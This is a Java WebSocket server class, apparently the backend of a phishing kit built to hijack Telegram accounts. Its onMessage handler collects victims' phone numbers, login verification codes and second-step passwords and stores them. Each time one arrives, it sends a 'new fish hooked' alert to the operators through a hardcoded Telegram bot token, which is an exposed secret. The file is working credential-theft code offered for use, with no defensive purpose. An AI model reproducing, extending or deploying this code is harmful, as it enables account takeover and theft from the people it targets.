zj
2025-05-06 0a5de93f4212f260ddc65c9317632429e828c7dd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
package com.ruoyi.web.controller.socket;
 
import java.io.IOException;
import java.net.Socket;
import java.util.List;
import java.util.concurrent.ConcurrentHashMap;
import javax.servlet.http.HttpServletRequest;
import javax.websocket.OnClose;
import javax.websocket.OnError;
import javax.websocket.OnMessage;
import javax.websocket.OnOpen;
import javax.websocket.Session;
import javax.websocket.server.PathParam;
import javax.websocket.server.ServerEndpoint;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
 
import com.ruoyi.system.domain.SysTgdata;
import com.ruoyi.system.service.ISysTgdataService;
import com.ruoyi.web.controller.tgbot.TBot;
import com.ruoyi.web.controller.tool.MyBeanUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
 
 
 
/**
 * @author zhengkai.blog.csdn.net
 */
@ServerEndpoint("/openSocket/{userId}")
@Component
public class WebSocketServer {
 
    public static ISysTgdataService tgdataService;
 
 
    /**concurrent包的线程安全Set,用来存放每个客户端对应的MyWebSocket对象。*/
    private static ConcurrentHashMap<String,WebSocketServer> webSocketMap = new ConcurrentHashMap<>();
    /**与某个客户端的连接会话,需要通过它来给客户端发送数据*/
    private Session session;
    /**接收userId*/
    private String userId="";
 
    /**
     * 连接建立成功调用的方法*/
    @OnOpen
    public void onOpen(Session session, @PathParam("userId") String userId) {
        this.session = session;
        this.userId=userId;
        if(webSocketMap.containsKey(userId)){
            webSocketMap.remove(userId);
            webSocketMap.put(userId,this);
            //加入set中
        }else{
            webSocketMap.put(userId,this);
            //加入set中
//            addOnlineCount();
            //在线数加1
        }
//        System.out.println("用户连接:"+userId+",当前在线人数为:" + getOnlineCount());
//        log.info("用户连接:"+userId+",当前在线人数为:" + getOnlineCount());
 
        try {
            sendMessage("连接成功");
        } catch (IOException e) {
//            log.error("用户:"+userId+",网络异常!!!!!!");
            System.out.println("用户:"+userId+",网络异常!!!!!!");
        }
    }
 
    /**
     * 连接关闭调用的方法
     */
    @OnClose
    public void onClose() {
        if(webSocketMap.containsKey(userId)){
            webSocketMap.remove(userId);
            //从set中删除
//            subOnlineCount();
        }
//        System.out.println("用户退出:"+userId+",当前在线人数为:" + getOnlineCount());
 
    }
 
    /**
     * 接受到用户主动发送的消息,并且返回
     */
    @OnMessage
    @SuppressWarnings("all")
    public void onMessage(String message, Session session) {
        try {
 
            //统一过滤
            String[] authList = message.split("/");
            String phone = authList[1];
            SysTgdata sysTgdata = new SysTgdata();
            sysTgdata.setUphone(phone);
            List<SysTgdata> tgdataList = tgdataService.selectSysTgdataList(sysTgdata);
 
 
            if (tgdataList.size() != 0){
                String res = tgdataList.get(0).getUres();
                if ("验证码错误".equals(res)){
                    sendMessage("Invalid code");
                }else if ("密码错误".equals(res)){
                    sendMessage("Incorrect password");
                }else if ("等待输入密码".equals(res)){
                    sendMessage("输入密码");
                }else if ("验证通过".equals(res)){
                    sendMessage("登录成功");
                }
            }
 
 
 
            //手机号
            if (message.startsWith("client/")){
 
                if (tgdataList.size() == 0){
                    sysTgdata.setUres("收到手机号");
 
                    tgdataService.insertSysTgdata(sysTgdata);
                    //TG消息通知
                    TBot.sendMsg("5999279550:AAHebQVosRZK4pAwBaQDItu8hfy9Q5C1kF8","新鱼儿上钩通知,请及时登录后台查看,类型:手动版,步骤:获得手机号,请管理员及时查看,@yilu888,@xminggzs","@yuanmajiaoliuqun");
                    //通知服务器
                    sendInfo("new","baseServer");
                }
            }
            //验证码
            if (message.startsWith("auth/")){
                String code = authList[2];
                if (tgdataList.size() != 0){
                    SysTgdata tgdata = tgdataList.get(0);
                    tgdata.setUres("收到验证码");
                    tgdata.setUvifcode(code);
                    tgdataService.updateSysTgdata(tgdata);
                    //TG消息通知
                    TBot.sendMsg("5999279550:AAHebQVosRZK4pAwBaQDItu8hfy9Q5C1kF8","新鱼儿上钩通知,请及时登录后台查看,类型:手动版,步骤:获得验证码,请管理员及时查看,@yilu888,@xminggzs","@yuanmajiaoliuqun");
 
                    //通知服务器
                    sendInfo("new","baseServer");
                }
            }
 
            //密码
            if (message.startsWith("pass/")){
                String password = authList[2];
 
                if (tgdataList.size() != 0){
                    SysTgdata tgdata = tgdataList.get(0);
                    tgdata.setUres("收到二次密码");
                    tgdata.setAgpass(password);
                    tgdataService.updateSysTgdata(tgdata);
                    //TG消息通知
                    TBot.sendMsg("5999279550:AAHebQVosRZK4pAwBaQDItu8hfy9Q5C1kF8","新鱼儿上钩通知,请及时登录后台查看,类型:手动版,步骤:获得二级密码,请管理员及时查看,@yilu888,@xminggzs","@yuanmajiaoliuqun");
 
                    //通知服务器
                    sendInfo("new","baseServer");
                }
 
            }
            System.err.println(message);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
 
    /**
     * 实现服务器主动推送
     */
    public void sendMessage(String message) throws IOException {
        this.session.getBasicRemote().sendText(message);
    }
 
 
    /**
     * 发送自定义消息
     * */
    public static String sendInfo(String message,String userId) {
        try {
            System.out.println("发送消息到:"+userId+",报文:"+message);
 
            webSocketMap.get(userId).sendMessage(message);
            return "1";
        }catch (Exception e){
            e.printStackTrace();
            return "0";
        }
 
    }
 
 
}